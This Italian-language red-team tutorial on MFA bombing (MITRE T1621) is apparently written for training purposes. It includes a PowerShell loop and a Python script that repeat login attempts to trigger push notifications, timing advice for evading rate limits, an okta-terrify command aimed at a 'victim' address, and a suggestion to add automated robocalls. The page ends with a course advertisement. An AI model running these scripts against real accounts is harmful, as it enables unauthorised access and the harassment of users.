MFA Bombing: Multi-Factor Authentication Request Generation (T1621)
L'abuso della generazione automatica di richieste MFA rappresenta una tecnica sofisticata per bypassare i controlli di sicurezza moderni. Questa metodologia sfrutta la "fatica da MFA" bombardando gli utenti con notifiche push continue fino a ottenere l'approvazione desiderata.
La tecnica si colloca nella tattica TA0006 (Credential Access) della kill chain, mirando specificamente al furto di credenziali e all'accesso non autorizzato. L'impatto è significativo: 3 gruppi APT documentati hanno utilizzato questa tecnica in campagne reali, con almeno 1 campagna maggiore tracciata nel 2022.
Il meccanismo è ingegnosamente semplice. Gli attaccanti, già in possesso di credenziali valide ma privi del secondo fattore, generano ripetutamente richieste di autenticazione. Sfruttano servizi come Duo Push, Microsoft Authenticator o Okta per inondare la vittima di notifiche. La persistenza spesso vince: dopo decine di richieste, l'utente stanco potrebbe cedere e approvare l'accesso.
La simulazione di MFA bombing richiede un approccio metodico per testare la resilienza dei controlli aziendali. Iniziamo con un setup di laboratorio che replica scenari reali.
Per automatizzare richieste di login ripetute su sistemi Windows con Azure AD, puoi utilizzare PowerShell:
$credential = Get-Credential
for ($i = 1; $i -le 50; $i++) {
Start-Sleep -Seconds 30
Connect-AzAccount -Credential $credential -TenantId "tenant-id" -ErrorAction SilentlyContinue
Write-Host "Tentativo $i completato"
}
Su Linux, per testare servizi con SAML/OAuth, Python offre maggiore flessibilità. Il framework requests permette di gestire sessioni persistenti:
import requests
import time
session = requests.Session()
for attempt in range(50):
response = session.post('https://login.example.com/auth',
data={'username': 'test@example.com',
'password': 'ValidPassword123'})
time.sleep(30)
L'aspetto cruciale è il timing. APT29 e LAPSUS$ utilizzavano intervalli di 30-60 secondi tra le richieste per evitare rate limiting basilari. Durante i test, monitora attentamente i log di autenticazione per identificare pattern di detection.
Per sistemi Okta, il tool okta-terrify automatizza il processo di testing. Configura prima l'API token, poi esegui: okta-terrify --user victim@company.com --attempts 25 --delay 45
I red team più sofisticati combinano questa tecnica con chiamate VoIP automatizzate. Tools come Asterisk permettono di generare chiamate robotiche che aumentano la pressione psicologica sulla vittima.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo